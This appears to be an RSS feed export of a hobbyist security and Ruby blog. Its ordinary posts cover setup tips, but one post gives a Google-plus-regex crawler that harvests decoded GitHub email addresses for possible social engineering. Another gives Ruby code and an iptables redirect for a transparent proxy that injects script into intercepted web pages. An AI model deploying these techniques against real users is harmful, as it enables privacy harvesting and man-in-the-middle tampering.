<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>FreedomCoder &#187; www</title>
	<atom:link href="http://www.freedomcoder.com.ar/category/www/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.freedomcoder.com.ar</link>
	<description>Information for free-minded geeks</description>
	<lastBuildDate>Sun, 30 Jan 2011 22:38:35 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3.1</generator>
		<item>
		<title>Github Email Crawler</title>
		<link>http://www.freedomcoder.com.ar/2010/06/13/github-email-crawler/</link>
		<comments>http://www.freedomcoder.com.ar/2010/06/13/github-email-crawler/#comments</comments>
		<pubDate>Mon, 14 Jun 2010 02:52:16 +0000</pubDate>
		<dc:creator>FreedomCoder</dc:creator>
				<category><![CDATA[English]]></category>
		<category><![CDATA[programming]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[www]]></category>

		<guid isPermaLink="false">http://www.freedomcoder.com.ar/?p=218</guid>
		<description><![CDATA[<p>Small proof of concept to crawl several emails using Google, ruby and some Sunday coding.</p> <p>One of the things that Github discloses ( if provided ) is the email addresses.  Short of that, it also discloses information such as Full Name, website, Location, etc, as it is show on the image below.</p> <p style="text-align: center;"><a [...]]]></description>
			<content:encoded><![CDATA[<p>Small proof of concept to crawl several emails using Google, ruby and some Sunday coding.</p>
<p>One of the things that Github discloses ( if provided ) is the email addresses.  Short of that, it also discloses information such as Full Name, website, Location, etc, as it is show on the image below.</p>
<p style="text-align: center;"><a href="http://www.freedomcoder.com.ar/wp-content/uploads/2010/06/Screen-shot-2010-06-13-at-8.33.03-PM.jpg"><img class="size-full wp-image-219 aligncenter" title="Profile_sample" src="http://www.freedomcoder.com.ar/wp-content/uploads/2010/06/Screen-shot-2010-06-13-at-8.33.03-PM.jpg" alt="" width="470" height="219" /></a></p>
<p>Taking advantage of this and the fact that it is stored on the  crawled page by Google it is really simple to search for Profile pages in github using a string close to the one shown:</p>
<h3 style="text-align: center;"><strong>site:github.com intitle:Profile</strong></h3>
<p>After that it is just a matter of retrieving each profile URL using a really simple regex like.</p>
<p><strong>response.body.scan(<span style="color: #ff0000;">/&#8221;http:\/\/github.com\/(.*)&#8221;/</span>)</strong></p>
<p><strong><span style="font-weight: normal;">which should be followed by doing a get request of each and every profile.  It is relevant to mention that some emails address are encoded to prevent simple bots from crawling email addresses, but it is easily to bypass, since it is only encoded using a url-encoding method.</span></strong></p>
<p>t<strong>ext.gsub!(</strong><span style="color: #ff0000;"><strong>/eval\(decodeURIComponent\(&#8216;.*&#8217;\)\)/</strong></span><strong>) { |a| </strong><span style="color: #339966;"><strong>CGI</strong></span><strong>.unescape(a) }</strong></p>
<p><strong><span style="font-weight: normal;">Once we have the profile we can start gathering emails from the github.com site.  Even though this is just a simple proof of concept there are plenty of information that could be gathered to aid different types of social-engineering attacks. </span></strong></p>
<p>Anyways, after a few minutes I had a really crapy and simple script that will crawl Google and find all Github.com Profiles in order to obtain all the disclosed email addresses.</p>
<p>( As I previously mentioned this could be expanded to harvest much more profile-able  data. )</p>
<p>Enjoy ! <img src='http://www.freedomcoder.com.ar/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<p><script src="http://gist.github.com/437222.js?file=github_email_crawler.rb"></script><br />
<script type="text/javascript"><!--
google_ad_client = "pub-7949681675937032";
google_ad_slot = "5601631059";
google_ad_width = 468;
google_ad_height = 60;
//--></script>
<script type="text/javascript" src="http://pagead2.googlesyndication.com/pagead/show_ads.js"></script>
</p>
]]></content:encoded>
			<wfw:commentRss>http://www.freedomcoder.com.ar/2010/06/13/github-email-crawler/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>WEBrick Transparent Proxy + code injection.</title>
		<link>http://www.freedomcoder.com.ar/2009/02/28/webrick-transparent-proxy-code-injection/</link>
		<comments>http://www.freedomcoder.com.ar/2009/02/28/webrick-transparent-proxy-code-injection/#comments</comments>
		<pubDate>Sat, 28 Feb 2009 17:00:17 +0000</pubDate>
		<dc:creator>FreedomCoder</dc:creator>
				<category><![CDATA[English]]></category>
		<category><![CDATA[How-To]]></category>
		<category><![CDATA[Linux]]></category>
		<category><![CDATA[macosx]]></category>
		<category><![CDATA[programming]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[www]]></category>

		<guid isPermaLink="false">http://www.freedomcoder.com.ar/2009/02/28/webrick-transparent-proxy-code-injection</guid>
		<description><![CDATA[I've search and search, asked Google, yahoo, sarasa search, and pretty much everyone else I know. Everything was incomplete, not well explain or not in subject at all.  After many days of looking I found a japanese site, which I did not understood much of it but after I google translated I was able to check some code and learn how to capture the response body messages. 

<small><i><strong>NOTE:</strong> As a word of advice, it is worth mentioning that this situation where only the Japanese have ruby code, has happened several times before with weird and undocumented methods or libraries. So it's always good to look in google.jp for ruby code ;)</i></small>

You may say why to even bother to do a Transparent proxy in ruby which is able to inject code, well maybe the answer is just because I want to see if I can do it. 

I decided to do my PoC with the native library WEBrick, a simple and light  HTTPserver among other things. 
</br>
<strong> Simple Proxy :</strong>
The first thing I usually do is check the official site and Rdoc for the lib. Unluckily, I was only able to find how to do a normal proxy. and work with the request. 

<code>
require 'webrick'
require 'webrick/httproxy'

WEBrick::HTTPProxyServer.new :Port 8080, 
                     :BindAddress => '0.0.0.0', 
                     :ServerType => Thread,
                     :RequestCallback => Proc.new {&#124;req,res&#124;  puts "#{req.unparsed_uri}" }

a.start

</code><small><small>Simple Proxy server.</small></small>
</br>
<strong> Fixing the URI :</strong>
With this we can setup Firefox, safari or any other web browser to use the proxy on localhost:8080 and  Eureka, we have a proxy that will printout the unparsed_uri for our request.  
This in theory works like a charm , but wait. If you see the  request Firefox is doing the following 
<code>
GET http://www.sarasa.com/ HTTP/1.1
...
</code><small><small>Browser request using a proxy server.</small></small>

Normal the brower when requesting a page , will use HTTP/1.1 and use the header "Host" to specified the url and just connect using a:

<code>
GET / HTTP/1.1
Host: www.sarasa.com
</code><small><small>Browser request.</small></small>

Having said this, here is the first wall I encounter. This is something that was undocumented: how do we turn our proxy into a transparent proxy? 
The answer is simple. let's modified our code and change the request. All the information is there we just have to re-write it to fit our need. 
Before, we start we should know that our req is of type WEBrick::HTTPRequest. Knowing this we will do a little monkey patching to add a new method to the class and 

<code>
require 'webrick'
require 'webrick/httproxy'

class WEBrick::HTTPRequest
  def  update_uri(uri)
    @unparsed_uri = uri
    @request_uri = parse_uri(uri)
  end
end


req_call = Proc.new do &#124;req,res&#124;  
  req.update_uri()
  puts "#{req.unparsed_uri}" }
end

WEBrick::HTTPProxyServer.new :Port 8080, 
                     :BindAddress => '0.0.0.0', 
                     :ServerType => Thread,
                     :RequestCallback => req_call 

a.start
</code><small><small>Transparent Proxy Server.</small></small>

</br>
<strong> Injecting:</strong>
Well, a transparent proxy is cool , but we could do the same with squid or some other product. Let's take it a little further and make it more interesting by adding an inject_payload to our response class. 


<code>
require 'webrick'
require 'webrick/httproxy'

class WEBrick::HTTPRequest
  def  update_uri(uri)
    @unparsed_uri = uri
    @request_uri = parse_uri(uri)
  end
end

class WEBrick::HTTPResponse
  def  inject_payload(string)
    if @content_type =~ /html/
      @body.gsub!( /<\/body>/ ,  "<script>#{string}</script></body>")  # this is just 
    end
  end
end

req_call = Proc.new do &#124;req,res&#124;  
  req.update_uri()
  puts "#{req.unparsed_uri}" }
end

res_call = Proc.new do &#124;req,res&#124;  
  res.inject_payload("alert(\"P0wned\");")
end

WEBrick::HTTPProxyServer.new :Port 8080, 
                     :BindAddress => '0.0.0.0', 
                     :ServerType => Thread,
                     :RequestCallback => req_call
                     :ProxyContentHandler => res_call 

a.start
</code><small><small>Injectable Transparent Proxy server.</small></small>

<strong> Last but not least :</strong>
Well, there is one more thing , but this is more at an operating system level we know want to reroute everything that is coming from the port 80 to port 8080 where our transparent proxy is listening.  The following example shows a possible way to redirect HTTP traffic assuming that is coming from the interface eth0 and the proxy is listening on port 8080.
<bash>
  iptables -t nat -A PREROUTING -i  eth0 -p tcp --dport 80 -j REDIRECT --to-port 8080
</bash>

Now we have a transparent proxy in our hands capable of injecting code into their request. 

Enjoy. 

]]></description>
			<content:encoded><![CDATA[<p>I&#8217;ve search and search, asked Google, yahoo, sarasa search, and pretty much everyone else I know. Everything was incomplete, not well explain or not in subject at all.  After many days of looking I found a japanese site, which I did not understood much of it but after I google translated I was able to check some code and learn how to capture the response body messages. </p>
<p><small><i><strong>NOTE:</strong> As a word of advice, it is worth mentioning that this situation where only the Japanese have ruby code, has happened several times before with weird and undocumented methods or libraries. So it&#8217;s always good to look in google.jp for ruby code <img src='http://www.freedomcoder.com.ar/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' /> </i></small></p>
<p>You may say why to even bother to do a Transparent proxy in ruby which is able to inject code, well maybe the answer is just because I want to see if I can do it. </p>
<p>I decided to do my PoC with the native library WEBrick, a simple and light  HTTPserver among other things.<br />
</br><br />
<strong> Simple Proxy :</strong><br />
The first thing I usually do is check the official site and Rdoc for the lib. Unluckily, I was only able to find how to do a normal proxy. and work with the request. </p>
<p><code>require 'webrick'<br />
require 'webrick/httproxy'</p>
<p>WEBrick::HTTPProxyServer.new <img src='http://www.freedomcoder.com.ar/wp-includes/images/smilies/icon_razz.gif' alt=':P' class='wp-smiley' /> ort 8080,<br />
                     :BindAddress =&gt; '0.0.0.0',<br />
                     :ServerType =&gt; Thread,<br />
                     :RequestCallback =&gt; Proc.new {|req,res|  puts "#{req.unparsed_uri}" }</p>
<p>a.start<br />
</code><small><small>Simple Proxy server.</small></small><br />
</br><br />
<strong> Fixing the URI :</strong><br />
With this we can setup Firefox, safari or any other web browser to use the proxy on localhost:8080 and  Eureka, we have a proxy that will printout the unparsed_uri for our request.<br />
This in theory works like a charm , but wait. If you see the  request Firefox is doing the following<br />
<code>GET http://www.sarasa.com/ HTTP/1.1<br />
...</code><small><small>Browser request using a proxy server.</small></small></p>
<p>Normal the brower when requesting a page , will use HTTP/1.1 and use the header &#8220;Host&#8221; to specified the url and just connect using a:</p>
<p><code>GET / HTTP/1.1<br />
Host: www.sarasa.com</code><small><small>Browser request.</small></small></p>
<p>Having said this, here is the first wall I encounter. This is something that was undocumented: how do we turn our proxy into a transparent proxy?<br />
The answer is simple. let&#8217;s modified our code and change the request. All the information is there we just have to re-write it to fit our need.<br />
Before, we start we should know that our req is of type WEBrick::HTTPRequest. Knowing this we will do a little monkey patching to add a new method to the class and </p>
<p><code>require 'webrick'<br />
require 'webrick/httproxy'</p>
<p>class WEBrick::HTTPRequest<br />
  def  update_uri(uri)<br />
    @unparsed_uri = uri<br />
    @request_uri = parse_uri(uri)<br />
  end<br />
end</p>
<p>req_call = Proc.new do |req,res|<br />
  req.update_uri()<br />
  puts "#{req.unparsed_uri}" }<br />
end</p>
<p>WEBrick::HTTPProxyServer.new <img src='http://www.freedomcoder.com.ar/wp-includes/images/smilies/icon_razz.gif' alt=':P' class='wp-smiley' /> ort 8080,<br />
                     :BindAddress =&gt; '0.0.0.0',<br />
                     :ServerType =&gt; Thread,<br />
                     :RequestCallback =&gt; req_call </p>
<p>a.start</code><small><small>Transparent Proxy Server.</small></small></p>
<p></br><br />
<strong> Injecting:</strong><br />
Well, a transparent proxy is cool , but we could do the same with squid or some other product. Let&#8217;s take it a little further and make it more interesting by adding an inject_payload to our response class. </p>
<p><code>require 'webrick'<br />
require 'webrick/httproxy'</p>
<p>class WEBrick::HTTPRequest<br />
  def  update_uri(uri)<br />
    @unparsed_uri = uri<br />
    @request_uri = parse_uri(uri)<br />
  end<br />
end</p>
<p>class WEBrick::HTTPResponse<br />
  def  inject_payload(string)<br />
    if @content_type =~ /html/<br />
      @body.gsub!( /&lt;\/body&gt;/ ,  "&lt;script&gt;#{string}&lt;/script&gt;&lt;/body&gt;")  # this is just<br />
    end<br />
  end<br />
end</p>
<p>req_call = Proc.new do |req,res|<br />
  req.update_uri()<br />
  puts "#{req.unparsed_uri}" }<br />
end</p>
<p>res_call = Proc.new do |req,res|<br />
  res.inject_payload("alert(\"P0wned\");")<br />
end</p>
<p>WEBrick::HTTPProxyServer.new <img src='http://www.freedomcoder.com.ar/wp-includes/images/smilies/icon_razz.gif' alt=':P' class='wp-smiley' /> ort 8080,<br />
                     :BindAddress =&gt; '0.0.0.0',<br />
                     :ServerType =&gt; Thread,<br />
                     :RequestCallback =&gt; req_call<br />
                     <img src='http://www.freedomcoder.com.ar/wp-includes/images/smilies/icon_razz.gif' alt=':P' class='wp-smiley' /> roxyContentHandler =&gt; res_call </p>
<p>a.start</code><small><small>Injectable Transparent Proxy server.</small></small></p>
<p><strong> Last but not least :</strong><br />
Well, there is one more thing , but this is more at an operating system level we know want to reroute everything that is coming from the port 80 to port 8080 where our transparent proxy is listening.  The following example shows a possible way to redirect HTTP traffic assuming that is coming from the interface eth0 and the proxy is listening on port 8080.<br />
<bash><br />
  iptables -t nat -A PREROUTING -i  eth0 -p tcp &#8211;dport 80 -j REDIRECT &#8211;to-port 8080<br />
</bash></p>
<p>Now we have a transparent proxy in our hands capable of injecting code into their request. </p>
<p>Enjoy. </p>
]]></content:encoded>
			<wfw:commentRss>http://www.freedomcoder.com.ar/2009/02/28/webrick-transparent-proxy-code-injection/feed/</wfw:commentRss>
		<slash:comments>7</slash:comments>
		</item>
		<item>
		<title>Download &amp; install ruby-1.9.1</title>
		<link>http://www.freedomcoder.com.ar/2009/02/09/download-install-ruby-191/</link>
		<comments>http://www.freedomcoder.com.ar/2009/02/09/download-install-ruby-191/#comments</comments>
		<pubDate>Tue, 10 Feb 2009 01:32:45 +0000</pubDate>
		<dc:creator>FreedomCoder</dc:creator>
				<category><![CDATA[How-To]]></category>
		<category><![CDATA[News]]></category>
		<category><![CDATA[programming]]></category>
		<category><![CDATA[Spanish]]></category>
		<category><![CDATA[www]]></category>

		<guid isPermaLink="false">http://www.freedomcoder.com.ar/2009/02/09/download-install-ruby-191</guid>
		<description><![CDATA[<p>Viendo que algunos me preguntaban como bajar e instalar ruby 1.9 para probarlo. Aca les dejo un script en bash que baja, descomprime, configura e instala ruby con un prefijo <strong>-1.9.1</strong> en el directorio <strong>/opt/local</strong> (Directorio comunmente usado en osx por macports.)</p>

<code>
#!/bin/sh
curl ftp://ftp.ruby-lang.org/pub/ruby/1.9/ruby-1.9.1-p0.tar.gz > /tmp/ruby-1.9.1-p0.tar.gz
cd /tmp
tar xvf ruby-1.9.1-p0.tar.gz
cd ruby-1.9.1-p0
autoconf
./configure --program-suffix=-1.9.1 --prefix=/opt/local
make
sudo make install
</code>

<strong>UPDATE: </strong>I just added another script to install directly from the svn repository. This is for those crazy people who like to live on the edge. 
<code>

#!/bin/sh
if [ -z "$1" ]; then
  	echo "usage: $0 <install&#124;update> "
  	echo "Author: Matias Pablo Brutti"
  	echo "Bye :)"
 	exit
fi

echo "This might not compile because it is download straight from"
echo "the svn repository. If it does not work either wait and try"
echo "again later or do your work and check why is not working."
echo "Happy hacking!"

if [ "$1" == install ]; then
	echo "Downloading ruby from the svn repo"
	svn co http://svn.ruby-lang.org/repos/ruby/trunk ruby
	cd ruby
fi

if [ "$1" == update ]; then 
	echo "Cleaning last install and updating repo"
	cd ruby
	make clean
	svn update
fi

echo "Configuring &#038;& installing ..."
autoconf
./configure --program-suffix=-1.9 --prefix=/opt/local
make
sudo make install

</code>

Enjoy.

]]></description>
			<content:encoded><![CDATA[<p>Viendo que algunos me preguntaban como bajar e instalar ruby 1.9 para probarlo. Aca les dejo un script en bash que baja, descomprime, configura e instala ruby con un prefijo <strong>-1.9.1</strong> en el directorio <strong>/opt/local</strong> (Directorio comunmente usado en osx por macports.)</p>
<p><code>#!/bin/sh<br />
curl ftp://ftp.ruby-lang.org/pub/ruby/1.9/ruby-1.9.1-p0.tar.gz &gt; /tmp/ruby-1.9.1-p0.tar.gz<br />
cd /tmp<br />
tar xvf ruby-1.9.1-p0.tar.gz<br />
cd ruby-1.9.1-p0<br />
autoconf<br />
./configure --program-suffix=-1.9.1 --prefix=/opt/local<br />
make<br />
sudo make install</code></p>
<p><strong>UPDATE: </strong>I just added another script to install directly from the svn repository. This is for those crazy people who like to live on the edge.<br />
<code><br />
#!/bin/sh<br />
if [ -z "$1" ]; then<br />
  	echo "usage: $0 &lt;install|update&gt; "<br />
  	echo "Author: Matias Pablo Brutti"<br />
  	echo "Bye <img src='http://www.freedomcoder.com.ar/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> "<br />
 	exit<br />
fi</p>
<p>echo "This might not compile because it is download straight from"<br />
echo "the svn repository. If it does not work either wait and try"<br />
echo "again later or do your work and check why is not working."<br />
echo "Happy hacking!"</p>
<p>if [ "$1" == install ]; then<br />
	echo "Downloading ruby from the svn repo"<br />
	svn co http://svn.ruby-lang.org/repos/ruby/trunk ruby<br />
	cd ruby<br />
fi</p>
<p>if [ "$1" == update ]; then<br />
	echo "Cleaning last install and updating repo"<br />
	cd ruby<br />
	make clean<br />
	svn update<br />
fi</p>
<p>echo "Configuring &amp;&amp; installing ..."<br />
autoconf<br />
./configure --program-suffix=-1.9 --prefix=/opt/local<br />
make<br />
sudo make install<br />
</code></p>
<p>Enjoy.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.freedomcoder.com.ar/2009/02/09/download-install-ruby-191/feed/</wfw:commentRss>
		<slash:comments>10</slash:comments>
		</item>
		<item>
		<title>Fedora 10 + MP3</title>
		<link>http://www.freedomcoder.com.ar/2009/01/28/fedora-10-mp3/</link>
		<comments>http://www.freedomcoder.com.ar/2009/01/28/fedora-10-mp3/#comments</comments>
		<pubDate>Wed, 28 Jan 2009 23:35:44 +0000</pubDate>
		<dc:creator>FreedomCoder</dc:creator>
				<category><![CDATA[How-To]]></category>
		<category><![CDATA[Linux]]></category>
		<category><![CDATA[Spanish]]></category>
		<category><![CDATA[www]]></category>

		<guid isPermaLink="false">http://www.freedomcoder.com.ar/2009/01/28/fedora-10-mp3</guid>
		<description><![CDATA[Hoy en el laburo, queria escuchar un poco de musica. Cuando fui a usar el player por default de Fedora 10 Rythombox no me andaban los MP3s y que tenia que instalar un plugin. 
Mi primera impresion fue un WTF? , luego recorde esta movida de free and libre only software. Y dije bueno a buscar repositorios. 
Esto es lo que encontre y lo que termine haciendo:

<strong>Agregar los repositorios de rpmfusion:</strong>

<bash>
# rpm -Uvh http://download1.rpmfusion.org/free/fedora/rpmfusion-free-release-stable.noarch.rpm</bash> 
<bash>
# rpm -Uvh http://download1.rpmfusion.org/nonfree/fedora/rpmfusion-nonfree-release-stable.noarch.rpm</bash> 

<strong>Instalar GStreamer plugins:</strong>
<bash>
# yum install gstreamer gstreamer-plugins-bad gstreamer-plugins-ugly</bash>

<strong>Instalar otras app y librer?as:</strong>

 * Amarok con soporte para MP3: 
<bash>
# yum install amarok phonon-backend-gstreamer</bash>

* MPlayer con soporte para MP3: 
<bash>
# yum install mplayer gnome-mplayer gnome-mplayer-common mencoder</bash>

* XMMS con soporte para MP3: 
<bash>
# yum install xmms xmms-mp3</bash>

* xine con soporte para MP3: 
<bash>
# yum install xine xine-lib-extras-nonfree</bash>

* Para crear MP3s con LAME : 
<bash>
# yum install lame lame-mp3x</bash>

* Para instalar todo junto con un solo comando: 
<bash>
# yum install xmms xine mplayer amarok xmms-mp3 gstreamer phonon-backend-gstreamer gstreamer-plugins-bad gstreamer-plugins-ugly xine-lib-extras-nonfree mplayer gnome-mplayer-common mencoder gnome-mplayer lame lame-mp3x</bash>


]]></description>
			<content:encoded><![CDATA[<p>Hoy en el laburo, queria escuchar un poco de musica. Cuando fui a usar el player por default de Fedora 10 Rythombox no me andaban los MP3s y que tenia que instalar un plugin.<br />
Mi primera impresion fue un WTF? , luego recorde esta movida de free and libre only software. Y dije bueno a buscar repositorios.<br />
Esto es lo que encontre y lo que termine haciendo:</p>
<p><strong>Agregar los repositorios de rpmfusion:</strong></p>
<p><bash><br />
# rpm -Uvh http://download1.rpmfusion.org/free/fedora/rpmfusion-free-release-stable.noarch.rpm</bash><br />
<bash><br />
# rpm -Uvh http://download1.rpmfusion.org/nonfree/fedora/rpmfusion-nonfree-release-stable.noarch.rpm</bash> </p>
<p><strong>Instalar GStreamer plugins:</strong><br />
<bash><br />
# yum install gstreamer gstreamer-plugins-bad gstreamer-plugins-ugly</bash></p>
<p><strong>Instalar otras app y librer?as:</strong></p>
<p> * Amarok con soporte para MP3:<br />
<bash><br />
# yum install amarok phonon-backend-gstreamer</bash></p>
<p>* MPlayer con soporte para MP3:<br />
<bash><br />
# yum install mplayer gnome-mplayer gnome-mplayer-common mencoder</bash></p>
<p>* XMMS con soporte para MP3:<br />
<bash><br />
# yum install xmms xmms-mp3</bash></p>
<p>* xine con soporte para MP3:<br />
<bash><br />
# yum install xine xine-lib-extras-nonfree</bash></p>
<p>* Para crear MP3s con LAME :<br />
<bash><br />
# yum install lame lame-mp3x</bash></p>
<p>* Para instalar todo junto con un solo comando:<br />
<bash><br />
# yum install xmms xine mplayer amarok xmms-mp3 gstreamer phonon-backend-gstreamer gstreamer-plugins-bad gstreamer-plugins-ugly xine-lib-extras-nonfree mplayer gnome-mplayer-common mencoder gnome-mplayer lame lame-mp3x</bash></p>
]]></content:encoded>
			<wfw:commentRss>http://www.freedomcoder.com.ar/2009/01/28/fedora-10-mp3/feed/</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
		<item>
		<title>Fluid + Google Gears = awesome apps</title>
		<link>http://www.freedomcoder.com.ar/2008/04/15/fluid-google-gears-awesome-apps/</link>
		<comments>http://www.freedomcoder.com.ar/2008/04/15/fluid-google-gears-awesome-apps/#comments</comments>
		<pubDate>Tue, 15 Apr 2008 17:21:56 +0000</pubDate>
		<dc:creator>FreedomCoder</dc:creator>
				<category><![CDATA[How-To]]></category>
		<category><![CDATA[macosx]]></category>
		<category><![CDATA[www]]></category>

		<guid isPermaLink="false">http://www.freedomcoder.com.ar/2008/04/15/fluid-google-gears-awesome-apps</guid>
		<description><![CDATA[Yesterday I found an application called Fluid that lets the users create Stand Alone Browser applications for any site. For example, GMail, Google Reader, BaseCamp, Facebook, etc .... In order to be a stand alone application we need to be able to work offline. For example, in Google reader will be great to be able to download the feeds and then be able to read them offline. But wait, this sounds familiar, Google Gear does that. Sadly according to the side it does not work on safari. Well, NOT COMPLETELY TRUE I just downloaded the code today and I was able to get it working with Fluid(webkit based app) and now I have a truly independent online/offline application to read my feeds.
Steps:
1. Check out the sources
<code>
svn checkout http://google-gears.googlecode.com/svn/trunk/ google-gears-read-only
</code>
2. Open the project in Xcode ( On the docmentation on the Google Gears Code project is out of date)
<code>
open gears/tools/osx/gears.xcodeproj
</code>
3. Build the code in Xcode
4. Drag and drop files
<code>
Gears.plugin to ~/Library/Internet Plug-Ins.
GearsEnabler.blundle ~/Library/InputManagers  ( The directory might not be created).
</code>

Digg it <a href="http://digg.com/apple/Fluid_Google_Gears_awesome_apps"> http://digg.com/apple/Fluid_Google_Gears_awesome_apps </a>]]></description>
			<content:encoded><![CDATA[<p>Yesterday I found an application called Fluid that lets the users create Stand Alone Browser applications for any site. For example, GMail, Google Reader, BaseCamp, Facebook, etc &#8230;. In order to be a stand alone application we need to be able to work offline. For example, in Google reader will be great to be able to download the feeds and then be able to read them offline. But wait, this sounds familiar, Google Gear does that. Sadly according to the side it does not work on safari. Well, NOT COMPLETELY TRUE I just downloaded the code today and I was able to get it working with Fluid(webkit based app) and now I have a truly independent online/offline application to read my feeds.<br />
Steps:<br />
1. Check out the sources<br />
<code>svn checkout http://google-gears.googlecode.com/svn/trunk/ google-gears-read-only</code><br />
2. Open the project in Xcode ( On the docmentation on the Google Gears Code project is out of date)<br />
<code>open gears/tools/osx/gears.xcodeproj</code><br />
3. Build the code in Xcode<br />
4. Drag and drop files<br />
<code>Gears.plugin to ~/Library/Internet Plug-Ins.<br />
GearsEnabler.blundle ~/Library/InputManagers  ( The directory might not be created).</code></p>
<p>Digg it <a href="http://digg.com/apple/Fluid_Google_Gears_awesome_apps"> http://digg.com/apple/Fluid_Google_Gears_awesome_apps </a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.freedomcoder.com.ar/2008/04/15/fluid-google-gears-awesome-apps/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>TwitterGrapher</title>
		<link>http://www.freedomcoder.com.ar/2008/04/14/twittergrapher/</link>
		<comments>http://www.freedomcoder.com.ar/2008/04/14/twittergrapher/#comments</comments>
		<pubDate>Mon, 14 Apr 2008 20:11:07 +0000</pubDate>
		<dc:creator>FreedomCoder</dc:creator>
				<category><![CDATA[English]]></category>
		<category><![CDATA[Linux]]></category>
		<category><![CDATA[macosx]]></category>
		<category><![CDATA[programming]]></category>
		<category><![CDATA[www]]></category>

		<guid isPermaLink="false">http://www.freedomcoder.com.ar/2008/04/14/twittergrapher</guid>
		<description><![CDATA[As part of my research for my thesis and other security related implications, I decided to create a program to create a graph of different type of degrees of relationships in twitter. As of now I only being able to grasp a small amount of the total research but so far so good. So I decided to share some of the first graphs and some of my problems. 
<br />
1. The first graph worth talking about is, The friends of my friends. As shown below the graph is nice, but it does not show any interesting data, besides the fact that almost all share friends in common that I do not have in my list. 
<a href="http://www.freedomcoder.com.ar/images/FC-Degree-2.jpg"><img src="http://www.freedomcoder.com.ar/images/FC-Degree-2-small.jpg" width="100%"></a>

2.  When I decided to move to higher degrees the application was able to retrieve the data but the library (graphviz) was unable to generate a jpg or png. In the case of a SVG I was able to create the file but, neither Linux nor Linux64 nor OSX where able to load the image.  When I tried to generate a png or jpg the gd or the application gave me a core dump. Thanks Juan, for lending me your Linux64 computation time :D.
<a href="http://www.freedomcoder.com.ar/images/FC-2-yed.jpg"><img src="http://www.freedomcoder.com.ar/images/FC-2-yed.jpg" width="100%"></a>
<br />
3. I decided to try with GraphML format instead of the graphviz's dot format. It is worth noting that the degree 2 graph were generated much faster, but again we run into trouble when rendering the huge load of node and edges when I came down to 3 or more degrees. This time was not a matter of not being able to render the images but instead the program I was using Yed, I guess is using an algorithm that does not take into account the fact that I want to see something instead of a huge ball of edges and nodes :D.
<br />
4. Again more problems, but this time with the application not handling the loads.  Now I decided I was a good time to redesign the application for more scalability and this is what I'm doing so far. So I will post the code as soon as I have that. 
Cheers and hopefully someone likes or can use this post for something. Ohh.. and this is not finished by far hopefully from here a lot of thing will be created and some new functions will be added to the app. And of course all this is written in RUBY ! :D
]]></description>
			<content:encoded><![CDATA[<p>As part of my research for my thesis and other security related implications, I decided to create a program to create a graph of different type of degrees of relationships in twitter. As of now I only being able to grasp a small amount of the total research but so far so good. So I decided to share some of the first graphs and some of my problems.<br />
<br />
1. The first graph worth talking about is, The friends of my friends. As shown below the graph is nice, but it does not show any interesting data, besides the fact that almost all share friends in common that I do not have in my list.<br />
<a href="http://www.freedomcoder.com.ar/images/FC-Degree-2.jpg"><img src="http://www.freedomcoder.com.ar/images/FC-Degree-2-small.jpg" width="100%"></a></p>
<p>2.  When I decided to move to higher degrees the application was able to retrieve the data but the library (graphviz) was unable to generate a jpg or png. In the case of a SVG I was able to create the file but, neither Linux nor Linux64 nor OSX where able to load the image.  When I tried to generate a png or jpg the gd or the application gave me a core dump. Thanks Juan, for lending me your Linux64 computation time <img src='http://www.freedomcoder.com.ar/wp-includes/images/smilies/icon_biggrin.gif' alt=':D' class='wp-smiley' /> .<br />
<a href="http://www.freedomcoder.com.ar/images/FC-2-yed.jpg"><img src="http://www.freedomcoder.com.ar/images/FC-2-yed.jpg" width="100%"></a><br />
<br />
3. I decided to try with GraphML format instead of the graphviz&#8217;s dot format. It is worth noting that the degree 2 graph were generated much faster, but again we run into trouble when rendering the huge load of node and edges when I came down to 3 or more degrees. This time was not a matter of not being able to render the images but instead the program I was using Yed, I guess is using an algorithm that does not take into account the fact that I want to see something instead of a huge ball of edges and nodes <img src='http://www.freedomcoder.com.ar/wp-includes/images/smilies/icon_biggrin.gif' alt=':D' class='wp-smiley' /> .<br />
<br />
4. Again more problems, but this time with the application not handling the loads.  Now I decided I was a good time to redesign the application for more scalability and this is what I&#8217;m doing so far. So I will post the code as soon as I have that.<br />
Cheers and hopefully someone likes or can use this post for something. Ohh.. and this is not finished by far hopefully from here a lot of thing will be created and some new functions will be added to the app. And of course all this is written in RUBY ! <img src='http://www.freedomcoder.com.ar/wp-includes/images/smilies/icon_biggrin.gif' alt=':D' class='wp-smiley' /> </p>
]]></content:encoded>
			<wfw:commentRss>http://www.freedomcoder.com.ar/2008/04/14/twittergrapher/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Finally mod_rails !</title>
		<link>http://www.freedomcoder.com.ar/2008/04/13/finally-mod_rails-/</link>
		<comments>http://www.freedomcoder.com.ar/2008/04/13/finally-mod_rails-/#comments</comments>
		<pubDate>Sun, 13 Apr 2008 15:06:38 +0000</pubDate>
		<dc:creator>FreedomCoder</dc:creator>
				<category><![CDATA[English]]></category>
		<category><![CDATA[How-To]]></category>
		<category><![CDATA[Linux]]></category>
		<category><![CDATA[macosx]]></category>
		<category><![CDATA[News]]></category>
		<category><![CDATA[programming]]></category>
		<category><![CDATA[www]]></category>

		<guid isPermaLink="false">http://www.freedomcoder.com.ar/2008/04/13/finally-mod_rails-</guid>
